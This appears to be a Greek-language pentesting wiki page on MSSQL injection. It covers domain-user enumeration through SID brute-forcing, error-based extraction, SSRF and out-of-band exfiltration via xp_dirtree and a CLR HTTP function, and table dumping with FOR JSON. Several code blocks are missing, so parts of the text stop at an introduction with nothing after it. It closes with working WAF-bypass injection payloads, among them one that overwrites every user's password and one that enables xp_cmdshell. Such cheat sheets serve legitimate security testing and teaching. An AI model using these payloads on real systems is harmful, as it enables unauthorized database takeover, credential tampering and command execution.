MSSQL Injection
MSSQL Injection
Active Directory enumeration
Είναι δυνατόν να καταμετρήσετε τους χρήστες του τομέα μέσω SQL injection μέσα σε έναν MSSQL διακομιστή χρησιμοποιώντας τις παρακάτω MSSQL συναρτήσεις:
SELECT DEFAULT_DOMAIN()
: Λάβετε το όνομα του τρέχοντος τομέα.master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))
: Εάν γνωρίζετε το όνομα του τομέα (DOMAIN σε αυτό το παράδειγμα) αυτή η συνάρτηση θα επιστρέψει το SID του χρήστη Administrator σε μορφή hex. Αυτό θα μοιάζει με0x01050000000[...]0000f401
, σημειώστε πώς τα τελευταία 4 bytes είναι ο αριθμός 500 σε big endian μορφή, που είναι το κοινό ID του χρήστη administrator. Αυτή η συνάρτηση θα σας επιτρέψει να γνωρίζετε το ID του τομέα (όλα τα bytes εκτός από τα τελευταία 4).SUSER_SNAME(0x01050000000[...]0000e803)
: Αυτή η συνάρτηση θα επιστρέψει το όνομα χρήστη του υποδεικνυόμενου ID (αν υπάρχει), σε αυτή την περίπτωση 0000e803 σε big endian == 1000 (συνήθως αυτό είναι το ID του πρώτου κανονικού χρήστη που δημιουργήθηκε). Στη συνέχεια, μπορείτε να φανταστείτε ότι μπορείτε να κάνετε brute-force τα IDs χρηστών από 1000 έως 2000 και πιθανώς να αποκτήσετε όλα τα ονόματα χρηστών των χρηστών του τομέα. Για παράδειγμα, χρησιμοποιώντας μια συνάρτηση όπως η παρακάτω:
Εναλλακτικοί Σφάλματα-Βασισμένοι Δείκτες
Οι SQL injections που βασίζονται σε σφάλματα συνήθως μοιάζουν με κατασκευές όπως +AND+1=@@version--
και παραλλαγές που βασίζονται στον «OR» τελεστή. Τα ερωτήματα που περιέχουν τέτοιες εκφράσεις συνήθως αποκλείονται από τα WAFs. Ως παράκαμψη, συνδυάστε μια συμβολοσειρά χρησιμοποιώντας τον χαρακτήρα %2b με το αποτέλεσμα συγκεκριμένων κλήσεων συναρτήσεων που προκαλούν σφάλμα μετατροπής τύπου δεδομένων στα επιθυμητά δεδομένα.
Ορισμένα παραδείγματα τέτοιων συναρτήσεων:
SUSER_NAME()
USER_NAME()
PERMISSIONS()
DB_NAME()
FILE_NAME()
TYPE_NAME()
COL_NAME()
Παράδειγμα χρήσης της συνάρτησης USER_NAME()
:
SSRF
Αυτές οι τεχνικές SSRF λήφθηκαν από εδώ
fn_xe_file_target_read_file
fn_xe_file_target_read_file
Απαιτεί άδεια VIEW SERVER STATE
στον διακομιστή.
fn_get_audit_file
fn_get_audit_file
Απαιτεί την άδεια CONTROL SERVER
.
fn_trace_gettabe
fn_trace_gettabe
Απαιτεί την άδεια CONTROL SERVER
.
xp_dirtree
, xp_fileexists
, xp_subdirs
xp_dirtree
, xp_fileexists
, xp_subdirs
Οι αποθηκευμένες διαδικασίες όπως το xp_dirtree
, αν και δεν τεκμηριώνονται επίσημα από τη Microsoft, έχουν περιγραφεί από άλλους διαδικτυακά λόγω της χρησιμότητάς τους σε λειτουργίες δικτύου εντός του MSSQL. Αυτές οι διαδικασίες χρησιμοποιούνται συχνά σε εξαγωγή δεδομένων εκτός ζώνης, όπως φαίνεται σε διάφορα παραδείγματα και δημοσιεύσεις.
Η αποθηκευμένη διαδικασία xp_dirtree
, για παράδειγμα, χρησιμοποιείται για να κάνει αιτήματα δικτύου, αλλά περιορίζεται μόνο στην TCP θύρα 445. Ο αριθμός της θύρας δεν είναι τροποποιήσιμος, αλλά επιτρέπει την ανάγνωση από κοινές χρήσεις δικτύου. Η χρήση της αποδεικνύεται στο παρακάτω SQL script:
Είναι αξιοσημείωτο ότι αυτή η μέθοδος μπορεί να μην λειτουργεί σε όλες τις ρυθμίσεις συστήματος, όπως σε Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)
που τρέχει σε Windows Server 2016 Datacenter
με προεπιλεγμένες ρυθμίσεις.
Επιπλέον, υπάρχουν εναλλακτικές αποθηκευμένες διαδικασίες όπως master..xp_fileexist
και xp_subdirs
που μπορούν να επιτύχουν παρόμοια αποτελέσματα. Περαιτέρω λεπτομέρειες σχετικά με το xp_fileexist
μπορούν να βρεθούν σε αυτό το TechNet άρθρο.
xp_cmdshell
xp_cmdshell
Προφανώς μπορείτε επίσης να χρησιμοποιήσετε xp_cmdshell
για να εκτελέσετε κάτι που ενεργοποιεί μια SSRF. Για περισσότερες πληροφορίες διαβάστε την σχετική ενότητα στη σελίδα:
MSSQL User Defined Function - SQLHttp
Η δημιουργία μιας CLR UDF (Common Language Runtime User Defined Function), η οποία είναι κώδικας που έχει συγγραφεί σε οποιαδήποτε γλώσσα .NET και έχει μεταγλωττιστεί σε DLL, για να φορτωθεί μέσα στο MSSQL για την εκτέλεση προσαρμοσμένων συναρτήσεων, είναι μια διαδικασία που απαιτεί πρόσβαση dbo
. Αυτό σημαίνει ότι είναι συνήθως εφικτό μόνο όταν η σύνδεση στη βάση δεδομένων γίνεται ως sa
ή με ρόλο Διαχειριστή.
Ένα έργο Visual Studio και οδηγίες εγκατάστασης παρέχονται σε αυτό το Github αποθετήριο για να διευκολύνουν τη φόρτωση του δυαδικού αρχείου στο MSSQL ως CLR assembly, επιτρέποντας έτσι την εκτέλεση HTTP GET αιτημάτων από μέσα στο MSSQL.
Η ουσία αυτής της λειτουργικότητας είναι ενσωματωμένη στο αρχείο http.cs
, το οποίο χρησιμοποιεί την κλάση WebClient
για να εκτελέσει ένα GET αίτημα και να ανακτήσει περιεχόμενο όπως απεικονίζεται παρακάτω:
Πριν εκτελέσετε την εντολή SQL CREATE ASSEMBLY
, συνιστάται να εκτελέσετε το παρακάτω SQL snippet για να προσθέσετε το SHA512 hash της assembly στη λίστα των αξιόπιστων assemblies του διακομιστή (ορατό μέσω select * from sys.trusted_assemblies;
):
Μετά την επιτυχία προσθήκης της βιβλιοθήκης και της δημιουργίας της συνάρτησης, ο παρακάτω SQL κώδικας μπορεί να χρησιμοποιηθεί για την εκτέλεση HTTP αιτημάτων:
Γρήγορη Εκμετάλλευση: Ανάκτηση Όλου του Περιεχομένου Πίνακα σε Μια Ενιαία Ερώτηση
Μια συνοπτική μέθοδος για την εξαγωγή του πλήρους περιεχομένου ενός πίνακα σε μια ενιαία ερώτηση περιλαμβάνει τη χρήση της ρήτρας FOR JSON
. Αυτή η προσέγγιση είναι πιο συνοπτική από τη χρήση της ρήτρας FOR XML
, η οποία απαιτεί μια συγκεκριμένη λειτουργία όπως το "raw". Η ρήτρα FOR JSON
προτιμάται για την συντομία της.
Ορίστε πώς να ανακτήσετε το σχήμα, τους πίνακες και τις στήλες από τη τρέχουσα βάση δεδομένων:
Little tricks for WAF bypasses
Non-standard whitespace characters: %C2%85 или %C2%A0:
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
So for example, multiple queries such as:
Προσθήκη ενός άχρηστου exec() στο τέλος και κάνοντάς το WAF να νομίζει ότι αυτή δεν είναι έγκυρη ερώτηση
admina'union select 1,'admin','testtest123'exec('select 1')--
Αυτό θα είναι:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123' exec('select 1')--'
Χρησιμοποιώντας περίεργα κατασκευασμένες ερωτήσεις
admin'exec('update[users]set[password]=''a''')--
Αυτό θα είναι:
SELECT id, username, password FROM users WHERE username = 'admin' exec('update[users]set[password]=''a''')--'
Ή ενεργοποιώντας το xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
Αυτό θα είναι
select * from users where username = ' admin' exec('sp_configure''show advanced option'',''1''reconfigure') exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
Last updated